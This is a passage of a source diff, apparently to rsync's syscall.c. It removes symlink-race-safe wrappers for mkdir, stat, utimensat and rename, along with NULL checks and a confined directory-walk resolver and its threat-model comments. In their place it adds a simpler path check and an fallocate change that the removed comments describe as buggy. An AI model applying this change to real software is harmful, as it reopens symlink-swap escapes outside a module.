old_dlen);\n-\t\told_dirpath[old_dlen] = '\\0';\n-\t\told_bname = old_slash + 1;\n-\t\told_dfd = secure_relative_dirfd(NULL, old_dirpath);\n-\t\tif (old_dfd < 0)\n-\t\t\treturn -1;\n-\t\told_owns = True;\n-\t} else {\n-\t\told_bname = old_path;\n-\t}\n-\n-\tif (*new_path == '/') {\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\t\tif (!symlink_optout_allowed()) {\n-\t\t\toperator_path_resolve = 1;\t/* operator side: enforce module-exclude */\n-\t\t\tnew_dfd = owner_walk_parent(new_path, &new_bname);\n-\t\t\toperator_path_resolve = 0;\n-\t\t\tif (new_dfd < 0) {\n-\t\t\t\te = errno;\n-\t\t\t\tif (old_owns) close(old_dfd);\n-\t\t\t\terrno = e;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tnew_owns = True;\n-\t\t} else\n-#endif\n-\t\t\tnew_bname = new_path;\n-\t} else if (new_slash) {\n-\t\tnew_dlen = new_slash - new_path;\n-\t\tif (new_dlen >= sizeof new_dirpath) {\n-\t\t\te = ENAMETOOLONG;\n-\t\t\tif (old_owns) close(old_dfd);\n-\t\t\terrno = e;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tmemcpy(new_dirpath, new_path, new_dlen);\n-\t\tnew_dirpath[new_dlen] = '\\0';\n-\t\tnew_bname = new_slash + 1;\n-\t\tif (old_owns && old_dlen == new_dlen\n-\t\t && memcmp(old_dirpath, new_dirpath, old_dlen) == 0) {\n-\t\t\tnew_dfd = old_dfd;\n-\t\t} else {\n-\t\t\tnew_dfd = secure_relative_dirfd(NULL, new_dirpath);\n-\t\t\tif (new_dfd < 0) {\n-\t\t\t\te = errno;\n-\t\t\t\tif (old_owns) close(old_dfd);\n-\t\t\t\terrno = e;\n-\t\t\t\treturn -1;\n-\t\t\t}\n-\t\t\tnew_owns = True;\n-\t\t}\n-\t} else {\n-\t\tnew_bname = new_path;\n-\t}\n-\n-\tret = renameat(old_dfd, old_bname, new_dfd, new_bname);\n-\te = errno;\n-\tif (new_owns)\n-\t\tclose(new_dfd);\n-\tif (old_owns)\n-\t\tclose(old_dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_rename(old_path, new_path);\n-#endif\n-}\n-\n-#ifdef HAVE_FTRUNCATE\n-int do_ftruncate(int fd, OFF_T size)\n-{\n-\tint ret;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-\tdo {\n-\t\tret = ftruncate(fd, size);\n-\t} while (ret < 0 && errno == EINTR);\n-\n-\treturn ret;\n-}\n-#endif\n-\n-void trim_trailing_slashes(char *name)\n-{\n-\tint l;\n-\t/* Some BSD systems cannot make a directory if the name\n-\t * contains a trailing slash.\n-\t * <http://www.opensource.apple.com/bugs/X/BSD%20Kernel/2734739.html> */\n-\n-\t/* Don't change empty string; and also we can't improve on\n-\t * \"/\" */\n-\n-\tl = strlen(name);\n-\twhile (l > 1) {\n-\t\tif (name[--l] != '/')\n-\t\t\tbreak;\n-\t\tname[l] = '\\0';\n-\t}\n-}\n-\n-int do_mkdir(char *path, mode_t mode)\n-{\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(path);\n-\ttrim_trailing_slashes(path);\n-\treturn mkdir(path, mode);\n-}\n-\n-/*\n-  Symlink-race-safe variant of do_mkdir() for receiver-side use. See\n-  the comment on do_chmod_at() for the threat model and design rationale.\n-\n-  mkdir() resolves parent symlinks at every component, so a parent-\n-  component swap can place an attacker-named directory outside the\n-  module. Defence: open the parent of fname under secure_relative_open()\n-  and call mkdirat() against that dirfd.\n-\n-  Mutates path in place to trim trailing slashes (matches do_mkdir()).\n-  Falls through to do_mkdir() in dry-run, non-daemon, chrooted, no-\n-  parent and absolute-path cases.\n-*/\n-int do_mkdir_at(char *path, mode_t mode)\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(path);\n-\ttrim_trailing_slashes(path);\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn mkdir(path, mode);\n-\t\tdfd = owner_walk_parent(path, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tret = mkdirat(dfd, bname, mode);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tif (!secure_relpath_active())\n-\t\treturn mkdir(path, mode);\n-\n-\tif (!path || !*path || *path == '/')\n-\t\treturn mkdir(path, mode);\n-\n-\tslash = strrchr(path, '/');\n-\tif (!slash)\n-\t\treturn mkdir(path, mode);\n-\n-\tdlen = slash - path;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, path, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\n-\tret = mkdirat(dfd, bname, mode);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_mkdir(path, mode);\n-#endif\n-}\n-\n-/* like mkstemp but forces permissions */\n-int do_mkstemp(char *template, mode_t perms)\n-{\n-\tRETURN_ERROR_IF(dry_run, 0);\n-\tRETURN_ERROR_IF(read_only, EROFS);\n-\tperms |= S_IWUSR;\n-\n-#if defined HAVE_SECURE_MKSTEMP && defined HAVE_FCHMOD && (!defined HAVE_OPEN64 || defined HAVE_MKSTEMP64)\n-\t{\n-\t\tint fd = mkstemp(template);\n-\t\tif (fd == -1)\n+#if defined HAVE_SECURE_MKSTEMP && defined HAVE_FCHMOD && (!defined HAVE_OPEN64 || defined HAVE_MKSTEMP64)\n+\t{\n+\t\tint fd = mkstemp(template);\n+\t\tif (fd == -1)\n \t\t\treturn -1;\n \t\tif (fchmod(fd, perms) != 0 && preserve_perms) {\n \t\t\tint errno_save = errno;\n@@ -2369,7 +360,6 @@ int do_mkstemp(char *template, mode_t perms)\n \n int do_stat(const char *path, STRUCT_STAT *st)\n {\n-\tRETURN_ERROR_IF_NULL(path);\n #ifdef USE_STAT64_FUNCS\n \treturn stat64(path, st);\n #else\n@@ -2379,7 +369,6 @@ int do_stat(const char *path, STRUCT_STAT *st)\n \n int do_lstat(const char *path, STRUCT_STAT *st)\n {\n-\tRETURN_ERROR_IF_NULL(path);\n #ifdef SUPPORT_LINKS\n # ifdef USE_STAT64_FUNCS\n \treturn lstat64(path, st);\n@@ -2391,94 +380,6 @@ int do_lstat(const char *path, STRUCT_STAT *st)\n #endif\n }\n \n-/*\n-  Symlink-race-safe variants of do_stat() / do_lstat() for receiver-\n-  side use. See the comment on do_chmod_at() for the threat model.\n-  stat() and lstat() resolve parent components, so a parent-symlink\n-  swap can make the receiver's stat see attributes of a victim file\n-  outside the module -- which then drives later behaviour (e.g.\n-  \"this isn't a directory, delete it\" -> attacker-controlled unlink\n-  on something outside the module).\n-\n-  Defence: open the parent under secure_relative_open() and use\n-  fstatat() with AT_SYMLINK_NOFOLLOW (lstat) or 0 (stat) against\n-  that dirfd. Same fall-through gating as the other wrappers.\n-*/\n-static int do_xstat_at(const char *path, STRUCT_STAT *st, int at_flags, int (*fallback)(const char *, STRUCT_STAT *))\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n-\n-#if defined O_NOFOLLOW && defined O_DIRECTORY\n-\tif (operator_path_resolve) {\n-\t\tif (symlink_optout_allowed())\n-\t\t\treturn fallback(path, st);\n-\t\tdfd = owner_walk_parent(path, &bname);\n-\t\tif (dfd < 0)\n-\t\t\treturn -1;\n-\t\tret = fstatat(dfd, bname, st, at_flags);\n-\t\te = errno;\n-\t\tclose(dfd);\n-\t\terrno = e;\n-\t\treturn ret;\n-\t}\n-#endif\n-\n-\tif (!secure_relpath_active())\n-\t\treturn fallback(path, st);\n-\n-\tif (!path || !*path || *path == '/')\n-\t\treturn fallback(path, st);\n-\n-\tslash = strrchr(path, '/');\n-\tif (!slash)\n-\t\treturn fallback(path, st);\n-\n-\tdlen = slash - path;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, path, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\n-\tret = fstatat(dfd, bname, st, at_flags);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\t(void)at_flags;\n-\treturn fallback(path, st);\n-#endif\n-}\n-\n-int do_stat_at(const char *path, STRUCT_STAT *st)\n-{\n-\treturn do_xstat_at(path, st, 0, do_stat);\n-}\n-\n-int do_lstat_at(const char *path, STRUCT_STAT *st)\n-{\n-#if defined SUPPORT_LINKS && defined AT_FDCWD && defined AT_SYMLINK_NOFOLLOW\n-\treturn do_xstat_at(path, st, AT_SYMLINK_NOFOLLOW, do_lstat);\n-#elif defined SUPPORT_LINKS\n-\treturn do_lstat(path, st);\n-#else\n-\treturn do_xstat_at(path, st, 0, do_stat);\n-#endif\n-}\n-\n int do_fstat(int fd, STRUCT_STAT *st)\n {\n #ifdef USE_STAT64_FUNCS\n@@ -2506,19 +407,6 @@ int do_setattrlist_times(const char *path, STRUCT_STAT *stp)\n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n \n-\t/* setattrlist() takes a raw path and follows parent symlinks\n-\t * (FSOPT_NOFOLLOW only blocks the final component). When hardened\n-\t * resolution is active -- secure_relpath_active(): any non-chroot\n-\t * daemon/receiver module, plus a /./ inner-module chroot -- return\n-\t * ENOSYS so set_times()' tier walk falls through to do_utimensat_at(),\n-\t * which routes the update through a secure parent dirfd. The attribute\n-\t * set this would have used (ATTR_CMN_MODTIME / ATTR_CMN_ACCTIME) is the\n-\t * same set utimensat() handles, so no functionality is lost. */\n-\tif (secure_relpath_active()) {\n-\t\terrno = ENOSYS;\n-\t\treturn -1;\n-\t}\n-\n \t/* Yes, this is in the opposite order of utime and similar. */\n \tts[0].tv_sec = stp->st_mtime;\n \tts[0].tv_nsec = stp->ST_MTIME_NSEC;\n@@ -2541,14 +429,6 @@ int do_setattrlist_crtime(const char *path, time_t crtime)\n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n \n-\t/* setattrlist() is path-based and follows parent symlinks\n-\t * (FSOPT_NOFOLLOW only blocks the final component), and macOS has no\n-\t * at-aware variant targeting ATTR_CMN_CRTIME.  As with POSIX ACLs where\n-\t * the OS offers no race-safe primitive, we keep --crtimes functional\n-\t * (daemon and non-daemon) and accept the parent-component symlink race\n-\t * as a documented residual rather than dropping crtime.  A daemon\n-\t * operator who does not want that residual can disable the feature with\n-\t * \"refuse options = crtimes\" in rsyncd.conf. */\n \tts.tv_sec = crtime;\n \tts.tv_nsec = 0;\n \n@@ -2568,10 +448,6 @@ time_t get_create_time(const char *path, STRUCT_STAT *stp)\n \tstruct attrlist attrList;\n \n \t(void)stp;\n-\t/* getattrlist() is path-based and follows parent symlinks; like\n-\t * do_setattrlist_crtime() there is no race-safe variant, so reading the\n-\t * source crtime stays functional and the parent-component symlink race\n-\t * is an accepted residual (refusable via \"refuse options = crtimes\"). */\n \tmemset(&attrList, 0, sizeof attrList);\n \tattrList.bitmapcount = ATTR_BIT_MAP_COUNT;\n \tattrList.commonattr = ATTR_CMN_CRTIME;\n@@ -2604,7 +480,7 @@ int do_SetFileTime(const char *path, time_t crtime)\n \tfree(pathw);\n \tif (handle == INVALID_HANDLE_VALUE)\n \t    return -1;\n-\tint64 temp_time = (crtime * 10000000LL) + 116444736000000000LL;\n+\tint64 temp_time = Int32x32To64(crtime, 10000000) + 116444736000000000LL;\n \tFILETIME birth_time;\n \tbirth_time.dwLowDateTime = (DWORD)temp_time;\n \tbirth_time.dwHighDateTime = (DWORD)(temp_time >> 32);\n@@ -2622,7 +498,6 @@ int do_utimensat(const char *path, STRUCT_STAT *stp)\n \n \tif (dry_run) return 0;\n \tRETURN_ERROR_IF_RO_OR_LO;\n-\tRETURN_ERROR_IF_NULL(path);\n \n \tt[0].tv_sec = stp->st_atime;\n #ifdef ST_ATIME_NSEC\n@@ -2638,81 +513,6 @@ int do_utimensat(const char *path, STRUCT_STAT *stp)\n #endif\n \treturn utimensat(AT_FDCWD, path, t, AT_SYMLINK_NOFOLLOW);\n }\n-\n-/*\n-  Symlink-race-safe variant of do_utimensat() for receiver-side use.\n-  See the comment on do_chmod_at() for the threat model. utimes()\n-  resolves parent components and follows a final-component symlink;\n-  lutimes() doesn't follow the final component but still resolves\n-  parents. Either way, a parent-symlink swap can redirect the\n-  timestamp update outside the module. Defence: open the parent of\n-  path under secure_relative_open() and call utimensat() with\n-  AT_SYMLINK_NOFOLLOW against that dirfd.\n-\n-  Falls through to do_utimensat() in the same dry-run / non-daemon /\n-  chrooted / no-parent / absolute-path cases as the other wrappers.\n-  Returns -1 with errno=ENOSYS on systems without utimensat()\n-  (caller is expected to fall back to the legacy tier walk).\n-*/\n-int do_utimensat_at(const char *path, STRUCT_STAT *stp)\n-{\n-#ifdef AT_FDCWD\n-\textern int am_daemon, am_chrooted;\n-\tstruct timespec t[2];\n-\tchar dirpath[MAXPATHLEN];\n-\tconst char *bname;\n-\tconst char *slash;\n-\tint dfd, ret, e;\n-\tsize_t dlen;\n-\n-\tif (dry_run) return 0;\n-\tRETURN_ERROR_IF_RO_OR_LO;\n-\n-\tif (!secure_relpath_active())\n-\t\treturn do_utimensat(path, stp);\n-\n-\tif (!path || !*path || *path == '/')\n-\t\treturn do_utimensat(path, stp);\n-\n-\tslash = strrchr(path, '/');\n-\tif (!slash)\n-\t\treturn do_utimensat(path, stp);\n-\n-\tdlen = slash - path;\n-\tif (dlen >= sizeof dirpath) {\n-\t\terrno = ENAMETOOLONG;\n-\t\treturn -1;\n-\t}\n-\tmemcpy(dirpath, path, dlen);\n-\tdirpath[dlen] = '\\0';\n-\tbname = slash + 1;\n-\n-\tt[0].tv_sec = stp->st_atime;\n-#ifdef ST_ATIME_NSEC\n-\tt[0].tv_nsec = stp->ST_ATIME_NSEC;\n-#else\n-\tt[0].tv_nsec = 0;\n-#endif\n-\tt[1].tv_sec = stp->st_mtime;\n-#ifdef ST_MTIME_NSEC\n-\tt[1].tv_nsec = stp->ST_MTIME_NSEC;\n-#else\n-\tt[1].tv_nsec = 0;\n-#endif\n-\n-\tdfd = secure_relative_dirfd(NULL, dirpath);\n-\tif (dfd < 0)\n-\t\treturn -1;\n-\n-\tret = utimensat(dfd, bname, t, AT_SYMLINK_NOFOLLOW);\n-\te = errno;\n-\tclose(dfd);\n-\terrno = e;\n-\treturn ret;\n-#else\n-\treturn do_utimensat(path, stp);\n-#endif\n-}\n #endif\n \n #ifdef HAVE_LUTIMES\n@@ -2798,13 +598,7 @@ int do_utime(const char *path, STRUCT_STAT *stp)\n \n OFF_T do_fallocate(int fd, OFF_T offset, OFF_T length)\n {\n-\t/* FALLOC_FL_KEEP_SIZE lets --preallocate/--inplace keep the file size at 0\n-\t * until data is written, but a later hole-punch (for --sparse) can only\n-\t * deallocate blocks that lie within the file's size -- with KEEP_SIZE the\n-\t * reserved blocks sit beyond EOF and the punch silently does nothing,\n-\t * leaving the file fully allocated.  So when holes will also be punched,\n-\t * preallocate at full size instead (write_sparse then punches the nulls). */\n-\tint opts = (inplace || preallocate_files) && sparse_files <= 0 ? DO_FALLOC_OPTIONS : 0;\n+\tint opts = inplace || preallocate_files ? DO_FALLOC_OPTIONS : 0;\n \tint ret;\n \tRETURN_ERROR_IF(dry_run, 0);\n \tRETURN_ERROR_IF_RO_OR_LO;\n@@ -2829,14 +623,7 @@ OFF_T do_fallocate(int fd, OFF_T offset, OFF_T length)\n \t\t\treturn length;\n \t\treturn st.st_blocks * S_BLKSIZE;\n \t}\n-\t/* With FALLOC_FL_KEEP_SIZE the blocks for [0, length) are reserved even\n-\t * though the file size stays put.  Return that reserved length (not 0) so\n-\t * the caller's preallocated_len is meaningful: write_sparse() needs it to\n-\t * choose do_punch_hole() over a plain lseek() when turning a null run into\n-\t * a hole, and the receiver uses it to trim any over-preallocation.  (A\n-\t * stray 0 here, from 2019's switch to KEEP_SIZE, is why --preallocate\n-\t * --sparse stopped producing sparse files.) */\n-\treturn length;\n+\treturn 0;\n }\n #endif\n \n@@ -2896,11 +683,6 @@ int do_open_nofollow(const char *pathname, int flags)\n #endif\n \t}\n \n-#ifdef O_NOATIME\n-\tif (open_noatime)\n-\t\tflags |= O_NOATIME;\n-#endif\n-\n #ifdef O_NOFOLLOW\n \tfd = open(pathname, flags|O_NOFOLLOW);\n #else\n@@ -2933,745 +715,82 @@ int do_open_nofollow(const char *pathname, int flags)\n /*\n   open a file relative to a base directory. The basedir can be NULL,\n   in which case the current working directory is used. The relpath\n-  must be a relative path. Resolution cannot escape basedir (or the\n-  cwd, when basedir is NULL): no \"..\" jumps above the start, no\n-  symlinks pointing outside, no absolute paths.\n-\n-  Symlinks *within* basedir are followed normally — earlier rsync\n-  versions rejected every symlink with O_NOFOLLOW on each component,\n-  which broke legitimate directory symlinks on the receiver side\n-  (https://github.com/RsyncProject/rsync/issues/715).\n-\n-  Escape prevention is handled by a single portable mechanism on every\n-  platform: a per-component O_NOFOLLOW walk on a stack of held parent\n-  dirfds (the dirstack helpers above). Each component is opened\n-  relative to a pinned parent fd, so no rename or symlink-swap can\n-  redirect resolution; \"..\" pops to the already-held parent (never\n-  above the anchor); an in-tree directory symlink is followed by\n-  reading its target and walking it on the same stack (absolute\n-  targets refused, symlink hops bounded). Single-component + O_NOFOLLOW\n-  + a pinned parent fd is race-free by construction, with no kernel\n-  \"beneath\" primitive required (see dev-notes/resolver-race-freeness).\n+  must be a relative path, and the relpath must not contain any\n+  elements in the path which follow symlinks (ie. like O_NOFOLLOW, but\n+  applies to all path components, not just the last component)\n \n   The relpath must also not contain any ../ elements in the path\n-  (except for a deliberately re-anchored module path; see below).\n */\n-\n-/* Returns 1 if path has any \"/\"-separated component that is exactly\n- * \"..\", 0 otherwise. Used by secure_relative_open's front-door\n- * validation to reject \"..\" inputs (bare \"..\", \"foo/..\", \"subdir/..\")\n- * for non-re-anchored paths; the walk itself resolves an in-tree \"..\"\n- * safely (ds_descend pops to the held parent) for a re-anchored path. */\n-static int path_has_dotdot_component(const char *path)\n-{\n-\tconst char *p = path;\n-\n-\twhile (*p) {\n-\t\tconst char *q;\n-\t\tif (*p == '/') { p++; continue; }\n-\t\tq = p;\n-\t\twhile (*q && *q != '/')\n-\t\t\tq++;\n-\t\tif (q - p == 2 && p[0] == '.' && p[1] == '.')\n-\t\t\treturn 1;\n-\t\tp = q;\n-\t}\n-\treturn 0;\n-}\n-\n-/* The logical current directory (maintained by change_dir() in util1.c).\n- * Defined here -- rather than in util1.c -- so the test helpers that link\n- * syscall.o but not util1.o (tls, trimslash) get the definition without a\n- * weak-symbol fallback, which is not portable to PE/COFF targets (Cygwin). */\n-char curr_dir[MAXPATHLEN];\n-unsigned int curr_dir_len;\n-\n-#if defined(O_NOFOLLOW) && defined(O_DIRECTORY) && defined(AT_FDCWD)\n-/* In-tree symlink following for secure_relative_open()'s directory walk (below).\n- * An early version refused every symlink with O_NOFOLLOW on each component, which\n- * broke legitimate within-tree directory symlinks (--keep-dirlinks #715, and -aR\n- * through a symlinked parent); the walk now follows them safely.\n- *\n- * A directory walk keeps a stack of the open dirfds from the anchor (index 0,\n- * borrowed -- not closed here) down to the current directory.  Descending into\n- * a real subdirectory pushes its fd; a \"..\" in a followed symlink target pops\n- * back to the already-pinned parent fd rather than re-resolving \"..\" with\n- * openat(), so an ancestor renamed mid-walk cannot redirect the climb, and the\n- * climb can never rise above the anchor (a pop at the anchor returns ELOOP).\n- * This matches RESOLVE_BENEATH, which allows in-tree \"..\" that stays beneath the\n- * root.  Absolute symlink targets are refused; symlink hops are bounded. */\n-#ifndef SECURE_OPEN_MAXSYMLINKS\n-#define SECURE_OPEN_MAXSYMLINKS 40\n-#endif\n-\n-/* Max directory levels held open at once during a single resolve.  The walk\n- * holds one fd per component, so depth is bounded by RLIMIT_NOFILE anyway; a\n- * fixed array (no malloc/realloc) keeps the stack simple and the static\n- * analyzer happy.  Mirrors DPC_MAXDEPTH's fixed-cap approach. */\n-#define DS_MAXDEPTH 1024\n-\n-struct dirstack {\n-\tint fds[DS_MAXDEPTH];\t/* fds[0] = anchor (borrowed); fds[top] = current dir */\n-\tint top;\n-\t/* Absolute path of fds[top], maintained as we descend/pop, for the\n-\t * exclude-aware refusal (abspath_outside_confinement).  Empty unless the\n-\t * caller seeds it with the anchor's absolute path; then a followed symlink\n-\t * that redirects the walk into a module-excluded dir is refused. */\n-\tchar abspath[MAXPATHLEN];\n-};\n-\n-/* Append \"/comp\" to ds->abspath (no-op if it's unseeded/empty so non-daemon\n- * callers pay nothing).  Returns -1 (ENAMETOOLONG) on overflow. */\n-static int ds_path_push(struct dirstack *ds, const char *comp)\n+int secure_relative_open(const char *basedir, const char *relpath, int flags, mode_t mode)\n {\n-\tsize_t al = strlen(ds->abspath);\n-\tif (al == 0)\n-\t\treturn 0;\t\t/* unseeded: tracking disabled for this walk */\n-\tsize_t cl = strlen(comp);\n-\tsize_t off = (al > 0 && ds->abspath[al - 1] == '/') ? al : al + 1;\n-\tif (off + cl >= sizeof ds->abspath) {\n-\t\terrno = ENAMETOOLONG;\n+\tif (!relpath || relpath[0] == '/') {\n+\t\t// must be a relative path\n+\t\terrno = EINVAL;\n \t\treturn -1;\n \t}\n-\tif (off != al)\n-\t\tds->abspath[al] = '/';\n-\tmemcpy(ds->abspath + off, comp, cl + 1);\n-\treturn 0;\n-}\n-\n-/* Drop the last component of ds->abspath (mirrors a \"..\" pop). */\n-static void ds_path_pop(struct dirstack *ds)\n-{\n-\tchar *slash;\n-\tif (!ds->abspath[0])\n-\t\treturn;\n-\tslash = strrchr(ds->abspath, '/');\n-\tif (slash && slash != ds->abspath)\n-\t\t*slash = '\\0';\n-}\n-\n-/* Initialise with `anchor` (which may be AT_FDCWD) as the un-owned base.\n- * Returns int for caller symmetry, but cannot fail (the fd array is inline). */\n-static int ds_init(struct dirstack *ds, int anchor)\n-{\n-\tds->abspath[0] = '\\0';\n-\tds->fds[0] = anchor;\n-\tds->top = 0;\n-\treturn 0;\n-}\n-\n-/* Close every pushed fd (but not the borrowed anchor at index 0). */\n-static void ds_free(struct dirstack *ds)\n-{\n-\twhile (ds->top > 0)\n-\t\tclose(ds->fds[ds->top--]);\n-}\n-\n-static int ds_cur(struct dirstack *ds)\n-{\n-\treturn ds->fds[ds->top];\n-}\n-\n-static int ds_push(struct dirstack *ds, int fd)\n-{\n-\tif (ds->top + 1 >= DS_MAXDEPTH) {\t/* deeper than we'll hold open */\n-\t\tclose(fd);\n-\t\terrno = ENOMEM;\n+\tif (strncmp(relpath, \"../\", 3) == 0 || strstr(relpath, \"/../\")) {\n+\t\t// no ../ elements allowed in the relpath\n+\t\terrno = EINVAL;\n \t\treturn -1;\n \t}\n-\tds->fds[++ds->top] = fd;\n-\treturn 0;\n-}\n-\n-/* Detach the current traversal dirfd as an owned fd the caller must close.  At\n- * the anchor (top 0) the anchor is borrowed, so open a fresh traversal fd. */\n-static int ds_take(struct dirstack *ds)\n-{\n-\tif (ds->top > 0)\n-\t\treturn ds->fds[ds->top--];\n-\treturn openat(ds->fds[0], \".\", directory_traverse_flags());\n-}\n \n-static int ds_walk_path(struct dirstack *ds, char *path, int *hops);\n-\n-/* Descend one path component on the stack: \".\" stays, \"..\" pops to the pinned\n- * parent (ELOOP at the anchor), a real subdirectory is pushed, and an in-tree\n- * directory symlink is followed by walking its (relative, possibly\n- * ..-containing) target on the same stack.  Returns 0, or -1 with errno set:\n- * ELOOP for a refused/escaping symlink or a hop overrun, otherwise the\n- * underlying openat()/readlinkat() errno (ENOENT, a real ENOTDIR, EACCES). */\n-static int ds_descend(struct dirstack *ds, const char *part, int *hops)\n-{\n-\tif (part[0] == '.' && part[1] == '\\0')\n-\t\treturn 0;\t\t\t\t/* \".\" -- no movement */\n-\tif (part[0] == '.' && part[1] == '.' && part[2] == '\\0') {\n-\t\tif (ds->top == 0) {\t\t\t/* would rise above the anchor */\n-\t\t\terrno = ELOOP;\n-\t\t\treturn -1;\n-\t\t}\n-\t\tclose(ds->fds[ds->top--]);\t\t/* pop to the held parent fd */\n-\t\tds_path_pop(ds);\n-\t\treturn 0;\n+#if !defined(O_NOFOLLOW) || !defined(O_DIRECTORY) || !defined(AT_FDCWD)\n+\t// really old system, all we can do is live with the risks\n+\tif (!basedir) {\n+\t\treturn open(relpath, flags, mode);\n \t}\n-\n-\tint fd = openat(ds_cur(ds), part, directory_traverse_flags() | O_NOFOLLOW);\n-\tif (fd != -1) {\t\t\t\t\t/* a real subdirectory */\n-\t\tif (ds_push(ds, fd) < 0)\n-\t\t\treturn -1;\n-\t\tif (ds_path_push(ds, part) < 0)\n-\t\t\treturn -1;\n-\t\t/* exclude-aware: refuse descending into a module-hidden dir (catches a\n-\t\t * symlink that redirected the walk into an excluded subtree). */\n-\t\tif (abspath_outside_confinement(ds->abspath, 0)) {\n-\t\t\terrno = ELOOP;\n+\tchar fullpath[MAXPATHLEN];\n+\tpathjoin(fullpath, sizeof fullpath, basedir, relpath);\n+\treturn open(fullpath, flags, mode);\n+#else\n+\tint dirfd = AT_FDCWD;\n+\tif (basedir != NULL) {\n+\t\tdirfd = openat(AT_FDCWD, basedir, O_RDONLY | O_DIRECTORY);\n+\t\tif (dirfd == -1) {\n \t\t\treturn -1;\n \t\t}\n-\t\treturn 0;\n \t}\n-\t/* O_NOFOLLOW refused a symlink (NOFOLLOW_HIT_SYMLINK: ELOOP on Linux, EMLINK\n-\t * on FreeBSD, EFTYPE on NetBSD/OpenBSD), or O_DIRECTORY hit a non-directory\n-\t * (ENOTDIR).  Either may be a symlink, so fall through to the readlink probe;\n-\t * anything else is a hard error. */\n-\tif (errno != ENOTDIR && !NOFOLLOW_HIT_SYMLINK(errno)) {\n-\t\tif (errno == EMFILE || errno == ENFILE) {\n-\t\t\t/* The resolver holds one dirfd per path component, so a deep path\n-\t\t\t * can exhaust descriptors where plain open() would not.  Hint at\n-\t\t\t * the fix once -- otherwise \"Too many open files\" is opaque. */\n-\t\t\tstatic int warned = 0;\n-\t\t\tif (!warned) {\n-\t\t\t\tint e = errno;\n-\t\t\t\twarned = 1;\n-\t\t\t\trprintf(FWARNING, \"out of file descriptors resolving a deep path;\"\n-\t\t\t\t\t\" raise the open-file limit (e.g. `ulimit -n`)\\n\");\n-\t\t\t\terrno = e;\n-\t\t\t}\n-\t\t}\n+\tint retfd = -1;\n+\n+\tchar *path_copy = my_strdup(relpath, __FILE__, __LINE__);\n+\tif (!path_copy) {\n \t\treturn -1;\n \t}\n-\tint open_errno = errno;\n-\n-\tchar buf[MAXPATHLEN];\n-\tssize_t n = readlinkat(ds_cur(ds), part, buf, sizeof buf - 1);\n-\tif (n < 0) {\n-\t\tif (errno == EINVAL)\t\t\t/* not a symlink: a real non-dir */\n-\t\t\terrno = open_errno;\n-\t\treturn -1;\n-\t}\n-\tif (n == 0 || (size_t)n >= sizeof buf - 1) {\n-\t\terrno = ELOOP;\t\t\t\t/* empty or truncated target */\n-\t\treturn -1;\n-\t}\n-\tbuf[n] = '\\0';\n-\tif (buf[0] == '/') {\t\t\t\t/* absolute target: refuse */\n-\t\terrno = ELOOP;\n-\t\treturn -1;\n-\t}\n-\tif (--(*hops) < 0) {\n-\t\terrno = ELOOP;\n-\t\treturn -1;\n-\t}\n-\treturn ds_walk_path(ds, buf, hops);\n-}\n-\n-/* Walk every component of a relative path on the stack (used for the basedir,\n- * and for a followed symlink's target -- which may contain \"..\"). */\n-static int ds_walk_path(struct dirstack *ds, char *path, int *hops)\n-{\n-\tchar *save = NULL;\n-\tfor (char *c = strtok_r(path, \"/\", &save); c; c = strtok_r(NULL, \"/\", &save)) {\n-\t\tif (ds_descend(ds, c, hops) < 0)\n-\t\t\treturn -1;\n-\t}\n-\treturn 0;\n-}\n-\n-/* Walk `relpath` confined beneath the borrowed anchor dirfd (which may be\n- * AT_FDCWD) and return the opened leaf fd, or -1.  Does NOT close `anchor_fd` --\n- * the caller owns it.  Shared by secure_relative_open() (which first resolves a\n- * basedir to the anchor) and secure_relative_open_at() (handed an already-open\n- * anchor, e.g. a held module-root fd).  `hops` is the shared symlink-hop budget. */\n-static int secure_walk_at(int anchor_fd, const char *anchor_abspath,\n-\t\t\t  const char *relpath, int flags, mode_t mode, int *hops)\n-{\n-\tstruct dirstack ds;\n-\tint retfd = -1;\n-\tchar *path_copy;\n-\n-\tif (ds_init(&ds, anchor_fd) < 0)\n-\t\treturn -1;\n-\t/* Seed the abspath tracker so the exclude-aware refusal can map a resolved\n-\t * path back to module-relative.  Only an absolute anchor enables it. */\n-\tif (anchor_abspath && anchor_abspath[0] == 